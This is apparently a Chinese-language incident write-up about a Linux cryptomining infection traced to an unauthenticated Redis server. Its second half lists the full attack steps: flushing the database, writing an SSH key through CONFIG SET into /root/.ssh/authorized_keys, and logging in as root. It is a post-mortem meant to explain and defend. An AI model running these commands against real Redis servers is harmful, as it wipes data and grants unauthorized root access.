發現問題:
在查詢進程端口號佔用時,發現查詢特別慢,而當時運行的程序又很少,於是執行top命令發現存在一個networkservice進程的cpu佔用率超過了100%,如圖所示:
networkservice和sysupdate都不是我們自己的運行程序,於是百度了一下,發現是linux挖礦病毒。
處理問題:
使用top查詢到networkservice和sysupdate的進程號,接下來查查程序啓動的位置,執行命令:ls -l proc/{進程號4876}/exe。
查詢到networkservice和sysupdate都在/etc目錄下。在etc下,除了sysupdate、networkservice 同時還有sysguard、update.sh,除了update.sh其餘的都是二進制文件,應該就是挖礦的主程序以及守護程序了。
於是安裝百度的建議刪除文件,但是發現黑客留下很多後面,雖然清除了病毒文件,最後還是選擇了重裝服務器的系統。
分析問題:
根據運維排除,認爲是redis漏洞導致的。
通過redis入侵服務器的原理是:利用redis默認設置,很多用戶沒有設置訪問密碼或密碼過於簡單。然後通過向redis把自己的公鑰寫入到redis,更改redis的數據庫文件配置,把公鑰寫入到認證文件,最終形成免密碼登陸。
具體操作步驟:
1.生成本地ssh公鑰
ssh-keygen
2. 嘗試連接redis
telnet 192.168.15.10 6379
redis-cli -h 192.168.15.10
3.清一下redis 數據庫
redis-cli -h 192.168.15.10 flushall
4. 向redis寫自己的公鑰
cat key.txt |redis-cli -h 192.168.15.10 -x set redis
5. 利用redis將公鑰寫入到authorized_keys文件
#連接redis
#redis-cli -h 192.168.15.10
#查看keys
192.168.15.10>keys *
#寫入配置庫的路徑及存放位置
192.168.15.10>CONFIG SET dir /root/.ssh/
#寫入配置庫名稱及存放的名字
192.168.15.10>CONFIG SET dbfilename "authorized_keys"
#寫入
192.168.15.10>save
#退出
192.168.15.10>exit
6.遠程連接
ssh [email protected] //免登陸連接
參考:https://www.freebuf.com/vuls/200289.html
https://blog.csdn.net/itest_2016/article/details/80935633